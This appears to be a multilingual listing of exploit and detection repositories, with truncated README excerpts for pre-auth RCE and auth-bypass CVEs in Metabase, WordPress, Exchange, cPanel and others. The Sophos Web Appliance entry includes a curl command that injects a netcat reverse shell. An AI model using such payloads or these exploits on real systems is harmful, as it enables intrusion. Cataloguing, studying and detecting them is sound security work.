metabase-cve-2023-38646

cd /metabase-poc cat README.md 'EOF' CVE-2023-38646 — Exécution de code à distance sans authentification sur Metabase Résumé Score CVSS 9.8. Les versions de Metabase antérieures à 0.46.6.1 / 1.46.6.1 ainsi que les branches antérieures équivalentes exposent une RCE sans authentification via le poi...

CVE-2025-32433-Detection

كشف CVE-2025-32433 المؤلف: te0rwx تاريخ الإنشاء: 2025-08-27 تحديث: 2026-08-16 الوصف قاعدة YARA مخصصة للكشف عن الآثار المعروفة المرتبطة بـ CVE-2025-32433 ، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE قبل المصادقة في Erlang/OTP SSH. تم تطوير القاعدة والتحقق من صحتها مقابل الأدلة العامة PoC والملتقطات...

wp2shell

wp2shell تنفيذ الأكواد عن بُعد قبل المصادقة ضد نواة ووردبريس. يُوظِّف CVE-2026-60137 حقن SQL في معامل authornotin / authorexclude من WPQuery مع CVE-2026-63030 الالتباس في مسار الدفعة لواجهة REST API لتحقيق تنفيذ الأكواد عن بُعد دون مصادقة. الإصدارات المتأثرة النطاق| الحالة ---|--- = 6.8.5| غير...

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 ثغرة RCE قبل المصادقة CVE-2022-29464. سيتم نشر التحليل الفني الكامل في منشور مدونتي: https://mr-r3bot.github.io الاستخدام python exploit.py -u...

CVE-2026-58455-PoC

CVE-2026-58455 — Dockwatch: ثغرة تنفيذ أكواد عن بُعد غير مصادق عليها تجاوز المصادقة + حقن أوامر إثبات فكرة لـ CVE-2026-58455 : تنفيذ أكواد عن بُعد غير مصادق عليه في Dockwatch من Notifiarr، وهي واجهة ويب ذاتية الاستضافة لإدارة حاويات Docker. يؤثر على جميع الإصدارات حتى 0.6.567. السبب الجذري تم...

POC-CVE-2026-93680

الوصف كود استغلال إثبات المفهوم لـ CVE-2026-93680 الاستخدام الخطوة 1: الاتصال بـ MCP SSE الطرفية 1 الخطوة 2: تهيئة جلسة MCP وسرد أدوات MCP الطرفية 2 الخطوة 3: تجاوز المصادقة وتسريب البيانات الطرفية 1، إخراج نتيجة الخطوة 2...

CVE-2026-34908-check

نص كشف سلسلة تنفيذ الأوامر عن بعد غير الموثّق في خادم UniFi OS أداة كشف آمنة لسلسلة تنفيذ الأوامر عن بعد غير الموثّق في خادم UniFi OS الإصدار 5.0.6 وما دونه، التي تم الكشف عنها في النشرة الأمنية 064 من Ubiquiti: CVE| الفئة| الدور في السلسلة ---|---|--- CVE-2026-34908 / CVE-2026-34909| تحكم غير صح...

CVE-2026-0257

Forger un cookie de remplacement d'authentification GlobalProtect en utilisant la clé publique du TLS CVE-2026-0257 Un script de preuve de concept pour tester un portail ou une passerelle GlobalProtect PAN-OS cible pour CVE-2026-0257. Le script tentera de forger un cookie de remplacement...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 إثبات مفهوم لتنفيذ تعليمات برمجية عن بُعد بدون مصادقة مسبقة في Commvault اطلع على منشور مدونتنا للحصول على التفاصيل التقنية الكشف في العمل python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - إطار عمل استغلال RCE بدون مصادقة لـ ServiceNow ومتحقق PoC 🔥 ServiceNow AI Platform — حقن جافا سكريبت → هروب من الصندوق الرملي → RCE → رفع الصلاحيات إلى الجذر إطار عمل الاستغلال والمتحقق الآمن لأغراض الاختبار الأمني المصرح به فقط. ⚖️ إخلاء المسؤولية القانوني والاستخدام المسؤول تم...

CVE-2026-41940_exploit

CVE-2026-41940 - استغلال تجاوز المصادقة في cPanel و WHM الثغرة: التلاعب بملف الجلسة عبر حقن CRLF في معالج المصادقة الأساسية HTTP في cpsrvd CVE: CVE-2026-41940 CVSS: 9.8 حرج CWE: CWE-93 حقن CRLF / CWE-306 غياب المصادقة المتأثرة: إصدارات cPanel و WHM السابقة لـ: 11.110.0.97, 11.118.0.63, 11.126.0.5...

CVE-2026-89970

A flaw was found in the nvmet-auth component of the Linux kernel. A timing issue during the cleanup of a Submission Queue SQ can lead to a use-after-free vulnerability. This occurs when a delayed authentication task attempts to access memory that has already been released or repurposed. An attack...

CVE-2019-1003000_RCE-DETECTION

CVE-2019-1003000RCE-DETECTION ملخص عام من خلال ربط الثغرة CVE-2018-1000861 مع CVE-2019-1003000، قمت بإنشاء وحدة لاختبار وجود RCE بدون مصادقة على Jenkins CI. في البداية، حاولت اكتشاف الثغرة باستخدام اسم مستخدم وكلمة مرور واسم وظيفة؛ لكنني اعتقدت أنه سيكون أكثر واقعية وإثارة للاهتمام التعامل مع هذا...

CVE-2026-62911

CVE-2026-62911 ثغرة RCE قبل المصادقة على Microsoft Exchange Server. لا حاجة لبيانات اعتماد. استخدم Orange Tsai DEVCORE هذه الثغرة في Pwn2Own Berlin 2026 ضمن سلسلة من 3 ثغرات. جائزة 200,000 دولار وسيطرة كاملة على مستوى SYSTEM. ما الذي تفعله يعرض Exchange خدمة MailboxReplicationProxyService MRSProx...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift تفاصيل الثغرة الثغرة كما تظهر في HackTheBox - SwagShop المرحلة 1 = exploit.py الحصول على بيانات اعتماد المسؤول للوحة تحكم Magento CMS المرحلة 2 = postauth.py بعد الحصول على بيانات الاعتماد من exploit.py وإضافتها إلى postauth.py، قم بتشغيل: python3 postauth.py...

ingressnightmare-detection-poc

أداة الكشف عن IngressNightmare نظرة عامة توفر هذه الأداة إمكانية كشف غير تخربي لسلسلة الثغرات IngressNightmare CVE-2025-1974 التي تؤثر على وحدة التحكم Ingress NGINX. تستخدم الأداة بشكل خاص ناقل حقن التعليق التوضيحي auth-url CVE-2025-24514 للتحقق من وجود هذه الثغرة الحرجة دون تنفيذ كود عشوائي. خلف...

CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

CVE-2024-38473

إثبات المفهوم PoC لمشكلة الترميز في modproxy في خادم Apache HTTP يحتوي هذا المستودع على نصوص إثبات المفهوم PoC لإظهار مشكلة ترميز في وحدة modproxy في إصدارات خادم Apache HTTP 2.4.59 وما قبلها. تسمح هذه الثغرة بإرسال عناوين URL للطلبات ذات الترميز غير الصحيح إلى الخدمات الخلفية، مما قد يؤدي إلى...

CVE-2026-88391

Northstar dromara/northstar, quantitative trading platform = 9.1.1 enables the H2 Console but its auth interceptor only covers /northstar/, so /h2-console is exposed with no authentication and the embedded H2 DB uses default sa / empty password. Any network-reachable attacker can run arbitrary...

CVE-2024-10924

CVE-2024-10924 Really Simple Security Free, Pro, and Pro Multisite 9.0.0 – 9.1.1.1 – Contournement d'authentification Description Les plugins Really Simple Security versions Free, Pro et Pro Multisite pour WordPress sont vulnérables à un contournement d'authentification dans les versions 9.0.0 à...